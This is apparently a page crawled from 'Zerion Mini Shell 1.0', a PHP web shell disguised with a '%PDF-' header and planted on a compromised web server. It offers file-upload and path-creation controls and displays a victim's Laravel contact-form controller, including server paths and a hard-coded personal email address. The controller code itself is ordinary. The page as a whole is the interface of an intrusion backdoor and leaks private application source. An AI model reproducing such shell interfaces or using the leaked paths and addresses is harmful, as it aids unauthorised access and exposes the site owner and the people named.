%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/o91-api/app/Http/Controllers/Api/v1/
Upload File :
Create Path :
Current File : /var/www/html/o91-api/app/Http/Controllers/Api/v1/ContactController.php

<?php

namespace App\Http\Controllers\Api\v1;

use App\Exports\ContactApplicationsExport;
use App\Http\Controllers\Api\ApiController;
use App\Http\Requests\Api\v1\ContactApplication\ContactApplicationRequest;
use App\Mail\ContactCreated;
use App\Mail\ThankYou;
use App\Models\ContactApplication;
use App\Transformers\ContactApplicationTransformer;
use Carbon\Carbon;
use Illuminate\Http\Request;
use Illuminate\Pagination\LengthAwarePaginator;
use Illuminate\Support\Facades\Mail;

class ContactController extends ApiController
{

    /**
     * @param Request $request
     * @return ContactController
     */
    public function index(Request $request)
    {
        /** @var LengthAwarePaginator $result */
        $result = $this->filterContacts($request)
            ->paginate($request->get('perPage'));
        return $this->withPaginated($result, new ContactApplicationTransformer());
    }

    /**
     * @param $id
     * @return \Illuminate\Http\JsonResponse
     */
    public function show($id)
    {
        $user = ContactApplication::query()
            ->find($id);
        return $this->item($user, new ContactApplicationTransformer());
    }

    /**
     * @param Request $request
     * @return \Illuminate\Http\Response|\Symfony\Component\HttpFoundation\BinaryFileResponse
     */
    public function exportExcel(Request $request)
    {
        return (new ContactApplicationsExport($this->filterContacts($request)))->download("contact_applications.xlsx");
    }

    /**
     * @param Request $request
     * @return \Illuminate\Database\Eloquent\Builder
     */
    private function filterContacts(Request $request)
    {
        $result = ContactApplication::query();
        if ($name = $request->get('name')) {
            $result = $result->where('name', 'like', "$name%");
        }
        if ($vorname = $request->get('vorname')) {
            $result = $result->where('vorname', 'like', "$vorname%");
        }
        if ($email = $request->get('email')) {
            $result = $result->where('mail', 'like', "$email%");
        }
        return $result;
    }


    /**
     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Illuminate\Http\Response
     */
    public function sendMail()
    {
        return response([], 200);
    }

    /**
     * @param ContactApplicationRequest $request
     */
    public function register(ContactApplicationRequest $request)
    {
        $app = ContactApplication::query()
            ->create([
                'name' => $request->get('name'),
                'anrede' => $request->get('anrede'),
                'vorname' => $request->get('vorname'),
                'nachname' => $request->get('nachname'),
                'strabe' => $request->get('strabe'),
                'hausnummer' => $request->get('hausnummer'),
                'plz' => $request->get('plz'),
                'ort' => $request->get('ort'),
                'bundesland' => $request->get('bundesland'),
                'unternehmen' => $request->get('unternehmen'),
                'telephon' => $request->get('telephon'),
                'mail' => $request->get('mail'),
                'binein' => $request->get('binein'),
                'anzahl' => $request->get('anzahl'),
                'folgender' => $request->get('folgender'),
                'kapital' => $request->get('kapital')
            ]);
        Mail::to('andi.xhafa24@yahoo.com')
            ->later(Carbon::now()
                ->addSeconds(15), new ContactCreated($app));

        Mail::to($app->mail)
            ->later(Carbon::now()
                ->addSeconds(15), new ThankYou($app,
                'BBW Fördermittel',
                'Email Bestätigung'));
    }
}

Zerion Mini Shell 1.0